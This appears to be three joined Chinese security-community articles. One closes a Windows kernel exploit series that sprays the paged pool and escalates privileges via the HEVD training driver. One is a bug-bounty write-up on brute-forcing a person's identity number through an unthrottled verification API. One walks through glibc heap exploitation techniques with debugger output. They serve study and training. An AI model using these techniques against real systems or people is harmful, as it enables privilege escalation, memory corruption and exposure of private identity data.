8d6a3e83 ff5004 call dword ptr [eax+4]
0: kd> dd 0xDD1CB39C
dd1cb39c ???????? ???????? ???????? ????????
dd1cb3ac ???????? ???????? ???????? ????????
dd1cb3bc ???????? ???????? ???????? ????????
dd1cb3cc ???????? ???????? ???????? ????????
dd1cb3dc ???????? ???????? ???????? ????????
dd1cb3ec ???????? ???????? ???????? ????????
dd1cb3fc ???????? ???????? ???????? ????????
dd1cb40c ???????? ???????? ???????? ????????
## 构造堆结构
现在我们已经有了思路，还是把Callback指向shellcode，既然上一篇类似的问题能够栈喷射，那这里我们自然想到了堆喷射，回想我们在池溢出里堆喷射所用的函数`CreateEventA`，这里我们多研究一下这个函数，要知道我们这里是分页池而不是非分页池，如果你用池溢出那一段申请很多Event对象的代码的话，是看不到一个Event对象存在分页池里面的(并且会蓝屏)，但是函数中的`lpName`这个参数就比较神奇了，它是分配在分页池里面的，并且是我们可以操控的
HANDLE CreateEventA(
LPSECURITY_ATTRIBUTES lpEventAttributes,
BOOL bManualReset,
BOOL bInitialState,
LPCSTR lpName
);
为了更好的理解这里的利用，让我们复习一下 Windows 7 下的`Lookaside
Lists`快表结构，并且我们知道最大块大小是0x20，最多有256个块(前置知识来自Tarjei Mandt的Kernel Pool
Exploitation on Windows
7文章)，这里要清楚的是我们是在修改快表的结构，因为申请池一开始是调用的快表，如果快表不合适才会去调用空表(ListHeads)
typedef struct _GENERAL_LOOKASIDE_POOL
{
union{
/*0x000*/ union _SLIST_HEADER ListHead;
/*0x000*/ struct _SINGLE_LIST_ENTRY SingleListHead;
};
/*0x008*/ UINT16 Depth;
/*0x00A*/ UINT16 MaximumDepth;
/*0x00C*/ ULONG32 TotalAllocates;
union{
/*0x010*/ ULONG32 AllocateMisses;
/*0x010*/ ULONG32 AllocateHits;
};
/*0x014*/ ULONG32 TotalFrees;
union{
/*0x018*/ ULONG32 FreeMisses;
/*0x018*/ ULONG32 FreeHits;
};
/*0x01C*/ enum _POOL_TYPE Type;
/*0x020*/ ULONG32 Tag;
/*0x024*/ ULONG32 Size;
union{
/*0x028*/ PVOID AllocateEx;
/*0x028*/ PVOID Allocate;
};
union{
/*0x02C*/ PVOID FreeEx;
/*0x02C*/ PVOIDFree;
};
/*0x030*/ struct _LIST_ENTRY ListEntry;
/*0x038*/ ULONG32 LastTotalAllocates;
union{
/*0x03C*/ ULONG32 LastAllocateMisses;
/*0x03C*/ ULONG32 LastAllocateHits;
};
/*0x040*/ ULONG32 Future [2];
} GENERAL_LOOKASIDE_POOL, *PGENERAL_LOOKASIDE_POOL;
我们还需要知道的是，我们申请的每一个结构中的`lpName`还不能一样，不然两个池在后面就相当于一个在运作，又因为pool
size为0xf0，加上header就是0xf8，所以我们这里考虑将`lpName`大小设为0xf0，因为源码中我们的堆结构如下：
typedef struct _UNINITIALIZED_HEAP_VARIABLE {
ULONG_PTR Value;
FunctionPointer Callback;
ULONG_PTR Buffer[58];
} UNINITIALIZED_HEAP_VARIABLE, *PUNINITIALIZED_HEAP_VARIABLE;
我们可以确定回调函数在 +0x4 的位置，放入我们的shellcode之后我们在利用循环中的 i 设置不同的 lpname 就行啦
for (int i = 0; i < 256; i++)
{
*(PDWORD)(lpName + 0x4) = (DWORD)& ShellCode;
*(PDWORD)(lpName + 0xf0 - 4) = 0;
*(PDWORD)(lpName + 0xf0 - 3) = 0;
*(PDWORD)(lpName + 0xf0 - 2) = 0;
*(PDWORD)(lpName + 0xf0 - 1) = i;
Event_OBJECT[i] = CreateEventW(NULL, FALSE, FALSE, lpName);
}
最后我们整合一下代码就可以提权了，总结一下步骤
* 初始化句柄等结构
* 构造 lpName 结构
* 调用`CreateEventW`进行喷射
* 调用`TriggerUninitializedHeapVariable`函数触发漏洞
* 调用cmd提权
提权的过程中你可以参考下面几个地方查看相应的位置是否正确
0: kd> g
****** HACKSYS_EVD_IOCTL_UNINITIALIZED_HEAP_VARIABLE ******
[+] Pool Tag: 'kcaH'
[+] Pool Type: PagedPool
[+] Pool Size: 0xF0
[+] Pool Chunk: 0x909FE380
[+] UserValue: 0xBAD0B0B1
[+] UninitializedHeapVariable Address: 0x97E80AB8
[+] Triggering Uninitialized Heap Variable Vulnerability
[+] UninitializedHeapVariable->Value: 0x00000000
[+] UninitializedHeapVariable->Callback: 0x00371040
Breakpoint 0 hit
8d6a3e83 ff5004 call dword ptr [eax+4]
1: kd> !pool 0x909FE380 // 查看池布局
unable to get nt!ExpHeapBackedPoolEnabledState
Pool page 909fe380 region is Paged pool
909fe000 size: 1e0 previous size: 0 (Free) AlSe
909fe1e0 size: 28 previous size: 1e0 (Allocated) MmSm
909fe208 size: 80 previous size: 28 (Free) NtFU
909fe288 size: 18 previous size: 80 (Allocated) Ntf0
909fe2a0 size: 18 previous size: 18 (Free) CMVI
909fe2b8 size: a8 previous size: 18 (Allocated) CIcr
909fe360 size: 18 previous size: a8 (Allocated) PfFK
*909fe378 size: f8 previous size: 18 (Allocated) *Hack
Owning component : Unknown (update pooltag.txt)
909fe470 size: 1d8 previous size: f8 (Allocated) FMfn
909fe648 size: 4d0 previous size: 1d8 (Allocated) CIcr
909feb18 size: 4e8 previous size: 4d0 (Allocated) CIcr
1: kd> dd 909fe470-8 // 查看下一个池
909fe468 41414141 000e0000 063b021f 6e664d46
909fe478 01d0f204 00000000 0000032e 00000000
909fe488 909fe488 00000000 00000000 87ac918c
909fe498 00000000 00000000 00018000 00000040
909fe4a8 00000001 0160015e 909fe4e8 002e002e
909fe4b8 909fe4e8 00000000 00000000 00000000
909fe4c8 00000000 00000000 00000000 00000000
909fe4d8 00000000 00000000 00000000 00000002
1: kd> u 0x00371040 // 查看shellcode位置是否正确
00371040 53 push ebx
00371041 56 push esi
00371042 57 push edi
00371043 60 pushad
00371044 64a124010000 mov eax,dword ptr fs:[00000124h]
0037104a 8b4050 mov eax,dword ptr [eax+50h]
0037104d 8bc8 mov ecx,eax
0037104f ba04000000 mov edx,4
提权效果如下，详细的代码参考[这里](https://github.com/ThunderJie/Windows-Kernel-Exploit/blob/master/HEVD/Uninitialized-Heap-Variable/UninitializedHeapVariable/UninitializedHeapVariable.c)
# 0x03：后记
到这里我的Windows Kernel
exploit系列也就结束了，这个过程比较艰辛，也阅读了许多的资料，其实有些地方我也搞的不是很懂，但我一般的方法是如果一天对这个问题没有丝毫的进展，我就不会再去死磕了(貌似是坏习惯?)，因为后面我还是继续学内核，学到后面一些知识以后说不定这里的问题就豁然开朗了，当然前提是没有忘记这个问题，其实有些漏洞的篇幅可能比较短，有些地方的措词和代码可能不是很好，也可能有一些错误存在，希望读者大大们多多包容，也希望初学者能够自己去阅读资料把exp调试出来，其实有些地方我也适当的进行了省略(比如这篇为啥用的是CreateEventW函数喷射而不是CreateEventA)，需要你自己多多去尝试思考，非常感谢wjllz师傅以及Sakura师傅，给了我很大的引导，当然这并不是获奖感言啥的。。。只是对自己这一阶段的总结，自己对内核的研究也并不会结束(其实是刚刚开始)，越来越意识到自己要学的东西很多，还是慢慢努力吧，最后说一句，这不是教程，只是我分享的一个学习过程 | 社区文章 |
### **0x00前言**
对于SRC的挖掘思路，很多师傅已经给出了挖掘实用技巧。今天带来一篇本人的思路分享：不受限制的资源调用。
#### 1.进入正题
相信在各位的学习、生活中都遇到过这样的页面
此处我以某厂商的云服务购买为例，由图可知，需要我们输入姓名、身份证、联系电话等。如果按照我们普通的挖掘思路，此处可能存在的漏洞是不是有SQL、XSS、越权查看他人提交信息、CSRF等等，其实此处可以利用一种新的思路，我称之为不受限制的资源调用。
#### 2.漏洞测试
此处我们先输入自己的真实姓名+身份证号，然后把身份证号的最后一位7，改成5，进行提交，此时可以发现，提示我们需要输入正确的身份证号码，同时Burp没有任何数据包请求，判断此处是前端做了校验，校验用户输入的身份证号是否能够与规则匹配。同时可在JS文件中找到相应规则，此处校验不通过会返回false阻止我们进行提交。
##### console有如下结果：
所以此时，我们需要把身份证号改成一个正确的身份证号，把姓名也改成正确的姓名，同时进行提交，此时可见，在我们的Burp中出现了我们想要的数据包，包含了我们的姓名、身份证号、联系电话等等。此时我们再将数据包中的6改成5，也就是把真实身份证号又改回去一个不存在的身份证号，然后抓取返回包，可见，此时后端又做了一个验证，告知我们：身份证验证错误。
错误图：
#### 3.原理剖析
此时先不着急往下进行测试，我们先来了解一下身份证验证的原理：
这里我做了一张流程图，假如我此时是一名开发者，我需要给我的APP加上实名验证功能，那么我可以直接去向最上层的那个机构申请接口吗？不能，因为我不是企业，而且我也不是属于它直系应用的开发者。我只能向他的下级，也就是腾讯、阿里、百度这样的企业去申请API接口，同时这些公司会把我们提交的数据，提交给最上层的那个机构，并且根据返回的数据，给我们返回的数据。也就是身份证号验证成功，或者二要素验证不一致。
我们再来说一下直系应用与企业的区别，直系应用去申请二要素验证，一般是不用花钱的。而我们作为个人开发者，或者企业，去调用那个接口，其实是要钱的。我们在网上随便找一些关键字，可以看到，价格其实还是蛮高的。
#### 4.深入理解
那么此时是不是可以利用楼上所示的接口？去做一些事情呢，我这里假设要对别人进行社工，那么他的姓名是XXX，身份证号的后四位或者后六位我不知道，就可以对他进行一个爆破。此时我们勾选上最后四位，然后把数值调整到0000-9999之间，此时根据返回包的长度大小、可判断身份证号码是否正确。
此处可见，我们利用某平台开放的实名认证接口，可以完成我们自己想做的身份证二要素验证，同时由于厂商没有做限制，便可以无限消耗此厂商的资源，从而达到我们的目的。像本文中的二要素验证，以及短信验证，还有活人检测，其实都是基于Money的，在我们的SRC挖掘过程中，也可以去尝试一下这些点。
**教程文章仅限用于学习和研究目的，请勿用于非法用途。漏洞挖掘中应遵守SRC中的相关规则。** | 社区文章 |
### 0x12 unsorted_bin_into_stack
unsorted-bin-into-stack 通过改写 unsorted bin 里 chunk 的 bk 指针到任意地址，从而在栈上 malloc 出
chunk。
首先，我们得先malloc 一块 chunk，然后 free 掉，将他放到 unsorted bin里。再这之前，我们也得 malloc 一块
作为缓冲的chunk ，避免目标chunk free 掉后被放入到 topchunk里。
9 intptr_t* victim = malloc(0x100);
10
11 fprintf(stderr, "Allocating another chunk to avoid consolidating the top chunk with the small one during the free()\n");
12 intptr_t* p1 = malloc(0x100);
13
14 fprintf(stderr, "Freeing the chunk %p, it will be inserted in the unsorted bin\n", victim);
15 free(victim);
这个时候 victim 就被放入到了 unsortedbin里
PwnLife> bins
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x7ffff7dd1b58 (main_arena+88) —▸ 0x602000 ◂— 0x7ffff7dd1b58
smallbins
empty
largebins
empty
紧接着，我们在栈上 fake 一个chunk。
19 stack_buffer[1] = 0x100 + 0x10;
20 stack_buffer[3] = (intptr_t)stack_buffer;
PwnLife> p stack_buffer
$3 = {0x0, 0x110, 0x0, 0x7fffffffe3f0}
PwnLife> p &stack_buffer
$4 = (intptr_t (*)[4]) 0x7fffffffe3f0
让伪造的 chunk 的bk 指向自身。
然后我们假设，此时有一个 堆溢出漏洞，可以修改 victim chunk的内容。
24 fprintf(stderr, "Size should be different from the next request size to return fake_chunk and need to pass the check 2*SIZE_SZ (> 16 on x64) && < av->system_mem\n");
25 victim[-1] = 32;
26 victim[1] = (intptr_t)stack_buffer; // victim->bk is pointing to stack
27 //------------------------------------
我们通过 溢出漏洞修改 victim chunk 的bk，但此前，我们得 pass 一个check
Size should be different from the next request size to return fake_chunk and need to pass the check 2*SIZE_SZ (> 16 on x64) && < av->system_mem
25 victim[-1] = 32;
26 victim[1] = (intptr_t)stack_buffer; // victim->bk is pointing to stack
之后，
PwnLife> p victim
$6 = (intptr_t *) 0x602010
PwnLife> x/20gx victim
0x602010: 0x00007ffff7dd1b58 0x00007fffffffe3f0
0x602020: 0x0000000000000000 0x0000000000000000
0x602030: 0x0000000000000000 0x0000000000000000
0x602040: 0x0000000000000000 0x0000000000000000
0x602050: 0x0000000000000000 0x0000000000000000
0x602060: 0x0000000000000000 0x0000000000000000
0x602070: 0x0000000000000000 0x0000000000000000
0x602080: 0x0000000000000000 0x0000000000000000
0x602090: 0x0000000000000000 0x0000000000000000
0x6020a0: 0x0000000000000000 0x0000000000000000
PwnLife> x/20gx victim-2
0x602000: 0x0000000000000000 0x0000000000000020
0x602010: 0x00007ffff7dd1b58 0x00007fffffffe3f0 <--- fd,bk /bk --> fake chunk
0x602020: 0x0000000000000000 0x0000000000000000
0x602030: 0x0000000000000000 0x0000000000000000
0x602040: 0x0000000000000000 0x0000000000000000
0x602050: 0x0000000000000000 0x0000000000000000
0x602060: 0x0000000000000000 0x0000000000000000
0x602070: 0x0000000000000000 0x0000000000000000
0x602080: 0x0000000000000000 0x0000000000000000
0x602090: 0x0000000000000000 0x0000000000000000
PwnLife> x/20gx 0x00007fffffffe3f0 <--- fake chunk
0x7fffffffe3f0: 0x0000000000000000 0x0000000000000110
0x7fffffffe400: 0x0000000000000000 0x00007fffffffe3f0
0x7fffffffe410: 0x00007fffffffe500 0x3fe51d8840ce6c00
0x7fffffffe420: 0x0000000000400860 0x00007ffff7a303f1
0x7fffffffe430: 0x0000000000040000 0x00007fffffffe508
0x7fffffffe440: 0x00000001f7b9a488 0x0000000000400686
0x7fffffffe450: 0x0000000000000000 0xda692c6b09ba7393
0x7fffffffe460: 0x0000000000400590 0x00007fffffffe500
0x7fffffffe470: 0x0000000000000000 0x0000000000000000
0x7fffffffe480: 0x2596d314d11a7393 0x2596c3ad1e287393
那么此时就相当于 fake chunk 已经被链接到 unsorted bin 中。在下一次 malloc 的时候，malloc 会顺着 bk
指针进行遍历，于是就找到了大小正好合适的 fake chunk：
PwnLife> bins
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x7ffff7dd1b68 (main_arena+104) —▸ 0x602000 ◂— 0x7ffff7dd1b68
smallbins
0x20: 0x7ffff7dd1b68 (main_arena+104) —▸ 0x602000 ◂— 0x7ffff7dd1b68
largebins
empty
fake chunk 被取出，而 victim chunk 被从 unsorted bin 中取出来放到了 small bin 中。另外值得注意的是
fake chunk 的 fd 指针被修改了，这是 unsorted bin 的地址，通过它可以泄露 libc 地址，这正是下面 unsorted bin
attack 会讲到的。
29 fprintf(stderr, "Now next malloc will return the region of our fake chunk: %p\n", &stack_buffer[2]);
30 intptr_t* fake = malloc(0x100); // malloc a new chunk from fake chunk.
31 fprintf(stderr, "malloc(0x100): %p\n", fake);
PwnLife> x/20gx fake-2
0x7fffffffe3f0: 0x0000000000000000 0x0000000000000110 <-- chunk
0x7fffffffe400: 0x00007ffff7dd1b58 0x00007fffffffe3f0 <---fd ,bk //new fd ---> 0x7ffff7dd1b58
0x7fffffffe410: 0x00007fffffffe500 0x29b3145efbaf1600
0x7fffffffe420: 0x0000000000400860 0x00007ffff7a303f1
0x7fffffffe430: 0x0000000000040000 0x00007fffffffe508
0x7fffffffe440: 0x00000001f7b9a488 0x0000000000400686
0x7fffffffe450: 0x0000000000000000 0x595c9e280b1d3a76
0x7fffffffe460: 0x0000000000400590 0x00007fffffffe500
0x7fffffffe470: 0x0000000000000000 0x0000000000000000
0x7fffffffe480: 0xa6a36157d3bd3a76 0xa6a371ee1c8f3a76
### 0x13 unsorted_bin_attack
unsorted bin 攻击通常是为更进一步的攻击做准备的，我们知道 unsorted bin 是一个双向链表，在分配时会通过 unlink 操作将
chunk 从链表中移除，所以如果能够控制 unsorted bin chunk 的 bk 指针，就可以向任意位置写入一个指针。这里通过 unlink 将
libc 的信息写入到我们可控的内存中，从而导致信息泄漏，为进一步的攻击提供便利。
unlink 的对 unsorted bin 的操作是这样的：
/* remove from unsorted list */
unsorted_chunks (av)->bk = bck;
bck->fd = unsorted_chunks (av);
首先，分配 两个 chunk，释放第一个 使其加入到 unstorted bin
PwnLife> bins
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x7ffff7dd1b58 (main_arena+88) —▸ 0x602000 ◂— 0x7ffff7dd1b58
smallbins
empty
largebins
empty
紧接着，我假设我们有堆溢出漏洞
25 p[1]=(unsigned long)(&stack_var-2);
26 fprintf(stderr, "Now emulating a vulnerability that can overwrite the victim->bk pointer\n");
27 fprintf(stderr, "And we write it with the target address-16 (in 32-bits machine, it should be target address-8):%p\n\n",(void*)p[1]);
去修改，可以让我们修改 chunk 1 的数据。然后我们将 chunk 1 的 bk 指针修改为指向目标地址 - 2，也就相当于是在目标地址处有一个
fake free chunk
PwnLife> p p
$1 = (unsigned long *) 0x602010
PwnLife> x/20gx p
0x602010: 0x00007ffff7dd1b58 0x00007ffff7dd1b58
0x602020: 0x0000000000000000 0x0000000000000000
0x602030: 0x0000000000000000 0x0000000000000000
0x602040: 0x0000000000000000 0x0000000000000000
0x602050: 0x0000000000000000 0x0000000000000000
0x602060: 0x0000000000000000 0x0000000000000000
0x602070: 0x0000000000000000 0x0000000000000000
0x602080: 0x0000000000000000 0x0000000000000000
0x602090: 0x0000000000000000 0x0000000000000000
0x6020a0: 0x0000000000000000 0x0000000000000000
PwnLife> x/20gx p[1]
0x7ffff7dd1b58 <main_arena+88>: 0x00000000006023a0 0x0000000000000000
0x7ffff7dd1b68 <main_arena+104>: 0x0000000000602000 0x0000000000602000
0x7ffff7dd1b78 <main_arena+120>: 0x00007ffff7dd1b68 0x00007ffff7dd1b68
0x7ffff7dd1b88 <main_arena+136>: 0x00007ffff7dd1b78 0x00007ffff7dd1b78
0x7ffff7dd1b98 <main_arena+152>: 0x00007ffff7dd1b88 0x00007ffff7dd1b88
0x7ffff7dd1ba8 <main_arena+168>: 0x00007ffff7dd1b98 0x00007ffff7dd1b98
0x7ffff7dd1bb8 <main_arena+184>: 0x00007ffff7dd1ba8 0x00007ffff7dd1ba8
0x7ffff7dd1bc8 <main_arena+200>: 0x00007ffff7dd1bb8 0x00007ffff7dd1bb8
0x7ffff7dd1bd8 <main_arena+216>: 0x00007ffff7dd1bc8 0x00007ffff7dd1bc8
0x7ffff7dd1be8 <main_arena+232>: 0x00007ffff7dd1bd8 0x00007ffff7dd1bd8
此时，chunk 1的 bk已经被修改
PwnLife> heap
0x602000 PREV_INUSE {
prev_size = 0,
size = 417,
fd = 0x7ffff7dd1b58 <main_arena+88>,
bk = 0x7fffffffe3c8,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}
然后我们 malloc 一块新 chunk，这个时候，系统为循着 bk去 malloc一块新chunk
PwnLife> x/20gx &stack_var-2
0x7fffffffe3c8: 0x000000000040081a 0x0000000000400880 <--- fake chunk
0x7fffffffe3d8: 0x00007ffff7dd1b58 0x0000000000602010 <--- fd
0x7fffffffe3e8: 0x3cc687447353a200 0x0000000000400880
0x7fffffffe3f8: 0x00007ffff7a303f1 0x0000000000040000
0x7fffffffe408: 0x00007fffffffe4d8 0x00000001f7b9a488
0x7fffffffe418: 0x0000000000400686 0x0000000000000000
0x7fffffffe428: 0x577f97b5f5d4f6ba 0x0000000000400590
0x7fffffffe438: 0x00007fffffffe4d0 0x0000000000000000
0x7fffffffe448: 0x0000000000000000 0xa88068ca2cd4f6ba
0x7fffffffe458: 0xa8807873e386f6ba 0x0000000000000000
### 0x14 house_of_einherjar
house of einherjar 是一种堆利用技术，由 Hiroki Matsukuma 提出。该堆利用技术可以强制使得 malloc
返回一个几乎任意地址的 chunk 。
它要求有一个单字节溢出漏洞，覆盖掉 next chunk 的 size 字段并清除 PREV_IN_USE 标志，然后还需要覆盖 prev_size 字段为
fake chunk 的大小。
首先，我们先 malloc 一个chunk
a = (uint8_t*) malloc(0x38);
然后，我们fake一个chunk ，用来之后 free 掉 next chunk的时候，让合并后的堆块到 fake chunk 处，那下一次 malloc
将返回我们想要的地址。
pwndbg> p fake_chunk
$1 = {256, 256, 140737488348080, 140737488348080, 140737488348080, 140737488348080}
pwndbg> x/20gx &fake_chunk
0x7fffffffe3b0: 0x0000000000000100 0x0000000000000100
0x7fffffffe3c0: 0x00007fffffffe3b0 0x00007fffffffe3b0
0x7fffffffe3d0: 0x00007fffffffe3b0 0x00007fffffffe3b0
0x7fffffffe3e0: 0x00007fffffffe4d0 0x3c402f70cff21400
0x7fffffffe3f0: 0x0000000000400bf0 0x00007ffff7a303f1
0x7fffffffe400: 0x0000000000040000 0x00007fffffffe4d8
0x7fffffffe410: 0x00000001f7b9a488 0x00000000004006d6
0x7fffffffe420: 0x0000000000000000 0x86f4a78e4a5b6ea9
0x7fffffffe430: 0x00000000004005e0 0x00007fffffffe4d0
0x7fffffffe440: 0x0000000000000000 0x0000000000000000
然后，在 malloc 一个 chunk
b = (uint8_t*) malloc(0xf8);
紧接着，我们假设有个 堆溢出漏洞。
66 fprintf(stderr, "\nb.size: %#lx\n", *b_size_ptr);
67 fprintf(stderr, "b.size is: (0x100) | prev_inuse = 0x101\n");
68 fprintf(stderr, "We overflow 'a' with a single null byte into the metadata of 'b'\n");
69 a[real_a_size] = 0;
修改掉 chunk b 的size
0x603040 PREV_INUSE {
prev_size = 0,
size = 256, // 257 --> 256
fd = 0x0,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}
然后还得让 prev_size 字段为 fake chunk 的大小
pwndbg> p fake_chunk
$8 = {256, 18446603336227507344, 140737488348080, 140737488348080, 140737488348080, 140737488348080}
chunk b的 prev_size 字段，用 chunk b 的起始地址减去 fake chunk 的起始地址，同时为了绕过检查，还需要将 fake
chunk 的 size 字段与 chunk b 的 prev_size 字段相匹配：
size_t fake_size = (size_t)((b-sizeof(size_t)*2) - (uint8_t*)fake_chunk);
chunk b
0x603040 {
prev_size = 18446603336227507344, // 0 -> 18446603336227507344
size = 256,
fd = 0x0,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}
然后我们 free 掉 chunk b
88 fprintf(stderr, "Now we free b and this will consolidate with our fake chunk since b prev_inuse is not set\n");
89 free(b);
90 fprintf(stderr, "Our fake chunk size is now %#lx (b.size + fake_prev_size)\n", fake_chunk[1]);
然后，我们会发现 top chunk 变了,top chunk -> fake_chunk
pwndbg> p main_arena
$9 = {
mutex = 0,
flags = 1,
fastbinsY = {0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0},
top = 0x7fffffffe3b0,
last_remainder = 0x0,
bins = {0x7ffff7dd1b58 <main_arena+88>, 0x7ffff7dd1b58 <main_arena+88>, 0x7ffff7dd1b68 <main_arena+104>, 0x7ffff7dd1b68 <main_arena+104>, 0x7ffff7dd1b78 <main_arena+120>, 0x7ffff7dd1b78 <main_arena+120>, 0x7ffff7dd1b88 <main_arena+136>, 0x7ffff7dd1b88 <main_arena+136>, 0x7ffff7dd1b98 <main_arena+152>, 0x7ffff7dd1b98 <main_arena+152>, 0x7ffff7dd1ba8 <main_arena+168>, 0x7ffff7dd1ba8 <main_arena+168>, 0x7ffff7dd1bb8 <main_arena+184>, 0x7ffff7dd1bb8 <main_arena+184>, 0x7ffff7dd1bc8 <main_arena+200>...},
binmap = {0, 0, 0, 0},
next = 0x7ffff7dd1b00 <main_arena>,
next_free = 0x0,
attached_threads = 1,
system_mem = 135168,
max_system_mem = 135168
}
pwndbg> p &fake_chunk
$10 = (size_t (*)[6]) 0x7fffffffe3b0
由于，我们释放 chunk b，这时因为 PREV_INUSE 为零，unlink 会根据 prev_size 去寻找上一个 free
chunk，并将它和当前 chunk 合并。
这意味着，当我们 再去 malloc 一块 新chunk的时候，将会是 fake chunk 的位置。
103 fprintf(stderr, "\nNow we can call malloc() and it will begin in our fake chunk\n");
104 d = malloc(0x200);
如下：
pwndbg> x/20gx fake_chunk
0x7fffffffe3b0: 0x0000000000000100 0x0000000000000211
0x7fffffffe3c0: 0x00007fffffffe3b0 0x00007fffffffe3b0
0x7fffffffe3d0: 0x00007fffffffe3b0 0x00007fffffffe3b0
0x7fffffffe3e0: 0x00007fffffffe4d0 0xc6f3cea232483100
0x7fffffffe3f0: 0x0000000000400bf0 0x00007ffff7a303f1
0x7fffffffe400: 0x0000000000040000 0x00007fffffffe4d8
0x7fffffffe410: 0x00000001f7b9a488 0x00000000004006d6
0x7fffffffe420: 0x0000000000000000 0x0575c70b1ba71a36
0x7fffffffe430: 0x00000000004005e0 0x00007fffffffe4d0
0x7fffffffe440: 0x0000000000000000 0x0000000000000000
pwndbg> p d
$14 = (uint8_t *) 0x7fffffffe3c0 "\260\343\377\377\377\177"
值得一提的是，这里绕过 unlink 检查的时候，直接：
p->fd = p
p->bk = p
### 0x15 house of orange
House of Orange的核心在于在没有free函数的情况下得到一个释放的堆块(unsorted bin)。 这种操作的原理简单来说是当前堆的top
chunk尺寸不足以满足申请分配的大小的时候，原来的top chunk会被释放并被置入unsorted
bin中，通过这一点可以在没有free函数情况下获取到unsorted bins。
我们知道一开始的时候，整个堆都属于 top chunk，每次申请内存时，就从 top chunk 中划出请求大小的堆块返回给用户，于是 top chunk
就越来越小。当某一次 top chunk 的剩余大小已经不能够满足请求时，就会调用函数 sysmalloc()
分配新内存，这时可能会发生两种情况，一种是直接扩充 top chunk，另一种是调用 mmap 分配一块新的 top
chunk。具体调用哪一种方法是由申请大小决定的，为了能够使用前一种扩展 top chunk，需要请求小于阀值 mp_.mmap_threshold：
if ((unsigned long)(nb) >= (unsigned long)(mp_.mmap_threshold) && (mp_.n_mmaps < mp_.n_mmaps_max))
如果所需分配的 chunk 大小大于 mmap 分配阈值，默认为 128K，并且当前进程使用 mmap()分配的内存块小于设定的最大值，将使用
mmap()系统调用直接向操作系统申请内存。
为了能够调用 sysmalloc() 中的 _int_free()，需要 top chunk 大于 MINSIZE，即 0x10
当然，还得绕过下面两个限制条件：
/*
If not the first time through, we require old_size to be
at least MINSIZE and to have prev_inuse set.
*/
assert ((old_top == initial_top (av) && old_size == 0) ||
((unsigned long) (old_size) >= MINSIZE &&
prev_inuse (old_top) &&
((unsigned long) old_end & (pagesize - 1)) == 0));
/* Precondition: not enough current space to satisfy nb request */
assert ((unsigned long) (old_size) < (unsigned long) (nb + MINSIZE));
即满足 old_size 小于 nb+MINSIZE，PREV_INUSE 标志位为 1，old_top+old_size 页对齐这几个条件。
我们总结一下伪造的top chunk size的要求
1.伪造的size必须要对齐到内存页
2.size要大于MINSIZE(0x10)
3.size要小于之后申请的chunk size + MINSIZE(0x10)
4.size的prev inuse位必须为1
之后原有的top chunk就会执行_int_free从而顺利进入unsorted bin中。
在这个例子中:
我们首先 malloc 一个 0x400 的chunk
p1 = malloc(0x400-16);
PwnLife> heap
0x602000 PREV_INUSE {
prev_size = 0,
size = 1025, // hex(1025) == 0x401
fd = 0x0,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}
通常情况下 ，top chunk 大小为 0x21000，减去 0x400，所以此时的大小为 0x20c00，另外 PREV_INUSE 被设置。
PwnLife> top_chunk
0x602400 PREV_INUSE {
prev_size = 0,
size = 134145,
fd = 0x0,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}
PwnLife> x/20gx 0x602400
0x602400: 0x0000000000000000 0x0000000000020c01 <--- top chunk // size
0x602410: 0x0000000000000000 0x0000000000000000
0x602420: 0x0000000000000000 0x0000000000000000
0x602430: 0x0000000000000000 0x0000000000000000
0x602440: 0x0000000000000000 0x0000000000000000
0x602450: 0x0000000000000000 0x0000000000000000
0x602460: 0x0000000000000000 0x0000000000000000
0x602470: 0x0000000000000000 0x0000000000000000
0x602480: 0x0000000000000000 0x0000000000000000
0x602490: 0x0000000000000000 0x0000000000000000
PwnLife>
此时，我们假设有溢出漏洞：
72 top = (size_t *) ( (char *) p1 + 0x400 - 16);
73 top[1] = 0xc01;
将top chunk 的size 改为 0xc01 ，这样就能满足上面总结的条件。
之后，我们申请的 0x1000 size 的 chunk
p2 = malloc(0x1000);
0x1000 > 0xc01 , 又由于 top chunk 的伪造满足条件，紧接着原有的 top chunk 会被放到 unsorted bins里
PwnLife> bins
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x7ffff7dd1b58 (main_arena+88) —▸ 0x602400 ◂— 0x7ffff7dd1b58
smallbins
empty
largebins
empty
我们看下此时 heap 的情况
PwnLife> x/4gx p1-0x10+0x400
0x602400: 0x0000000000000000 0x0000000000000be1 <--- old top chunk
0x602410: 0x00007ffff7dd1b58 0x00007ffff7dd1b58
PwnLife> x/4gx p1-0x10+0x400+0xbe0
0x602fe0: 0x0000000000000be0 0x0000000000000010 <---- fencepost chunk 1
0x602ff0: 0x0000000000000000 0x0000000000000011 <---- fencepost chunk 2
PwnLife> x/4gx p2-0x10
0x623000: 0x0000000000000000 0x0000000000001011 <---- chunk p2
0x623010: 0x0000000000000000 0x0000000000000000
PwnLife> x/4gx p2-0x10+0x1010
0x624010: 0x0000000000000000 0x0000000000020ff1 <---- new top chunk
0x624020: 0x0000000000000000 0x0000000000000000
PwnLife> unsortedbin
unsortedbin
all: 0x7ffff7dd1b58 (main_arena+88) —▸ 0x602400 ◂— 0x7ffff7dd1b58
PwnLife>
另外可以看到 old top chunk 被缩小了 0x20，缩小的空间被用于放置 fencepost chunk。
根据放入 unsorted bin 中 old top chunk 的 fd/bk 指针，可以推算出 _IO_list_all 的地址。然后通过溢出将
old top 的 bk 改写为 _IO_list_all-0x10，这样在进行 unsorted bin attack 时，就会将
_IO_list_all 修改为 &unsorted_bin-0x10：
top[3] = io_list_all - 0x10;
0x602400 PREV_INUSE {
prev_size = 0,
size = 3041,
fd = 0x7ffff7dd1b58 <main_arena+88>,
bk = 0x7ffff7dd24f0,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}
